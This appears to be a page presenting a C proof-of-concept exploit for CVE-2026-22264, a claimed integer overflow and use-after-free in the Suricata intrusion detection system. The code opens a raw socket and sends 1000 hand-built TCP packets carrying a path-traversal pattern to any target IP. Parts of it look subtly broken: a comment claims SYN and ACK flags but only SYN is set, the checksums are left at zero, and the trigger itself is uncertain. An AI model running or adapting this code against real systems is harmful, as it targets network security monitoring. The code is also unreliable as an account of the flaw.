CVE-2026-22264 Suricata整数溢出导致堆使用后释放漏洞

// CVE-2026-22264 PoC - Suricata Integer Overflow leading to Use-After-Free // This PoC demonstrates triggering the vulnerability by generating excessive alerts #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #define MALICIOUS_PAYLOAD "\x47\x45\x54\x20\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x00" void generate_malicious_packet(unsigned char *packet, int size) { // IP Header packet[0] = 0x45; // Version 4, IHL 5 packet[1] = 0x00; // DSCP packet[2] = (size >> 8) & 0xFF; packet[3] = size & 0xFF; packet[4] = 0x00; packet[5] = 0x01; // Identification packet[6] = 0x40; // Flags: Don't Fragment packet[7] = 0x00; // Fragment Offset packet[8] = 64; // TTL packet[9] = 0x06; // Protocol: TCP packet[10] = 0x00; packet[11] = 0x00; // Checksum placeholder // Source IP: 192.168.1.100 packet[12] = 192; packet[13] = 168; packet[14] = 1; packet[15] = 100; // Dest IP: 192.168.1.1 packet[16] = 192; packet[17] = 168; packet[18] = 1; packet[19] = 1; // TCP Header packet[20] = 0x00; packet[21] = 0x50; // Source Port: 80 packet[22] = 0x01; packet[23] = 0xBB; // Dest Port: 443 packet[24] = 0x00; packet[25] = 0x00; packet[26] = 0x00; packet[27] = 0x01; // Seq packet[28] = 0x00; packet[29] = 0x00; packet[30] = 0x00; packet[31] = 0x00; // Ack packet[32] = 0x50; // Data Offset packet[33] = 0x02; // Flags: SYN, ACK packet[34] = 0x00; packet[35] = 0x00; // Window packet[36] = 0x00; packet[37] = 0x00; // Checksum packet[38] = 0x00; packet[39] = 0x00; // Urgent Pointer // Payload - malicious pattern to match multiple signatures int payload_start = 40; for (int i = 0; i < size - payload_start && i < strlen(MALICIOUS_PAYLOAD); i++) { packet[payload_start + i] = MALICIOUS_PAYLOAD[i]; } } int main(int argc, char *argv[]) { int sock; struct sockaddr_in target; unsigned char packet[65536]; if (argc < 2) { printf("Usage: %s <target_ip>\n", argv[0]); return 1; } printf("[*] CVE-2026-22264 PoC - Suricata Integer Overflow\n"); printf("[*] Target: %s\n", argv[1]); // Create raw socket sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("[!] Socket creation failed"); return 1; } memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(argv[1]); // Generate and send malicious packets for (int i = 0; i < 1000; i++) { memset(packet, 0x41, sizeof(packet)); // Fill with pattern generate_malicious_packet(packet, 1500); if (sendto(sock, packet, 1500, 0, (struct sockaddr *)&target, sizeof(target)) < 0) { perror("[!] Send failed"); } usleep(1000); // Small delay between packets } printf("[+] Sent %d malicious packets\n", 1000); printf("[*] If Suricata has >65536 matching signatures, trigger overflow\n"); close(sock); return 0; }